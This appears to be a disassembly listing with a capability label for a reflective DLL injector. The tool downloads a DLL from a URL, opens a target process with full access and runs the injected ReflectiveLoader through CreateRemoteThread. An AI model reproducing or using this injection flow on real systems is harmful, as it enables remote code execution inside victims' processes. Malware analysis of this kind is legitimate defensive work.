Function at 0x1400115f0
Capabilities:
Create thread

Disassembly:
jmp 0x14001ca60
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
sub rsp, 0x470
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xac
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x498]
lea rcx, [0x1400330f7]
call fcn.1400118d4
nop
mov r8, qword [rbp + 0x458]
mov edx, dword [rbp + 0x450]
lea rcx, [rbp + 0x348]
call fcn.1400116bd
lea rcx, [rbp + 0x318]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 8]
lea rcx, [rbp + 0x318]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 8], 0
je 0x14001cb06
mov rax, qword [rbp + 8]
movsx eax, byte [rax]
test eax, eax
je 0x14001cb06
cmp qword [rbp + 0x10], 0
je 0x14001cb06
mov rax, qword [rbp + 0x10]
movsx eax, byte [rax]
test eax, eax
jne 0x14001cb38
lea rdx, str.____Error_passing_arguments_to_the_function__forgetting_something__Typo__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110fa
nop
lea rdx, str.____Correct_example:_ReflectiveDllInjector.exe__url_ciaogrande.com__process_chebello.exe_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110fa
nop
mov eax, 1
jmp 0x14001ce0c
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x38], rax
mov rdx, qword [rbp + 0x38]
lea rcx, str.___Looking_for_process:__s_n
call fcn.140011401
nop
mov rax, qword [rbp + 8]
mov qword [rbp + 0x58], rax
mov rdx, qword [rbp + 0x58]
lea rcx, [rbp + 0x78]
call fcn.140011889
nop
lea rcx, [rbp + 0x78]
call fcn.140011271
mov qword [rbp + 0xb8], rax
lea rcx, [rbp + 0x78]
call fcn.140011050
test rax, rax
jne 0x14001cbb7
lea rdx, str.____Error_while_downloading_file_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400110fa
nop
mov dword [rbp + 0x374], 1
lea rcx, [rbp + 0x78]
call fcn.140011834
mov eax, dword [rbp + 0x374]
jmp 0x14001ce0c
mov rcx, qword [rbp + 0x38]
call fcn.1400111a9
mov rcx, rax
call fcn.140011096
mov dword [rbp + 0xd4], eax
cmp dword [rbp + 0xd4], 0
je 0x14001cbec
mov edx, dword [rbp + 0xd4]
lea rcx, str.___Process_found_with_PID__lu_n
call fcn.140011401
nop
jmp 0x14001cc2e
lea rdx, str.____Process_not_found__exiting_...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110fa
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x394], 1
lea rcx, [rbp + 0x78]
call fcn.140011834
mov eax, dword [rbp + 0x394]
jmp 0x14001ce0c
mov r8d, dword [rbp + 0xd4]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x14001cc95
lea rdx, str.____Error_while_opening_the_handle_to_process__exiting_...
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110fa
lea rdx, [0x14001105f]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov dword [rbp + 0x3b4], 1
lea rcx, [rbp + 0x78]
call fcn.140011834
mov eax, dword [rbp + 0x3b4]
jmp 0x14001ce0c
lea rcx, [rbp + 0x78]
call fcn.140011050
mov r9, qword [rbp + 0xf8]
mov r8, qword [rbp + 0xb8]
mov rdx, rax
mov ecx, dword [rbp + 0xd4]
call fcn.1400115cd
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
jne 0x14001ccfd
lea rdx, str.____Error_while_injecting_the_DLL_in_the_remote_process__exiting_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110fa
nop
mov dword [rbp + 0x3d4], 1
lea rcx, [rbp + 0x78]
call fcn.140011834
mov eax, dword [rbp + 0x3d4]
jmp 0x14001ce0c
mov rcx, qword [rbp + 0xb8]
call fcn.140011672
mov qword [rbp + 0x138], rax
cmp qword [rbp + 0x138], 0
jne 0x14001cd4c
lea rdx, str.____Error_while_retrieving_the_RAW_offset_of_the_ReflectiveLoader_function_n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110fa
nop
mov dword [rbp + 0x3f4], 1
lea rcx, [rbp + 0x78]
call fcn.140011834
mov eax, dword [rbp + 0x3f4]
jmp 0x14001ce0c
mov rdx, qword [rbp + 0x138]
lea rcx, str.___ReflectiveLoader_function_found_at_relative_raw_address:__p_n
call fcn.140011401
nop
mov dword [rbp + 0x154], 0
mov qword [rbp + 0x178], 0
mov eax, dword [rbp + 0x138]
mov rcx, qword [rbp + 0x118]
lea rax, [rcx + rax + 5]
lea rcx, [rbp + 0x154]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rbp + 0x178], rax
cmp qword [rbp + 0x178], 0
jne 0x14001cde0
lea rdx, str.____Error_while_running_the_remote_thread__exiting_...__n
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400110fa
nop
jmp 0x14001cdf3
mov edx, dword [rbp + 0x154]
lea rcx, str.___Successufully_ran_thread_with_id:__lu_n
call fcn.140011401
nop
mov dword [rbp + 0x414], 0
lea rcx, [rbp + 0x78]
call fcn.140011834
mov eax, dword [rbp + 0x414]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400277d0]
call fcn.14001176c
mov rax, rdi
lea rsp, [rbp + 0x430]
pop rdi
pop rsi
pop rbp
ret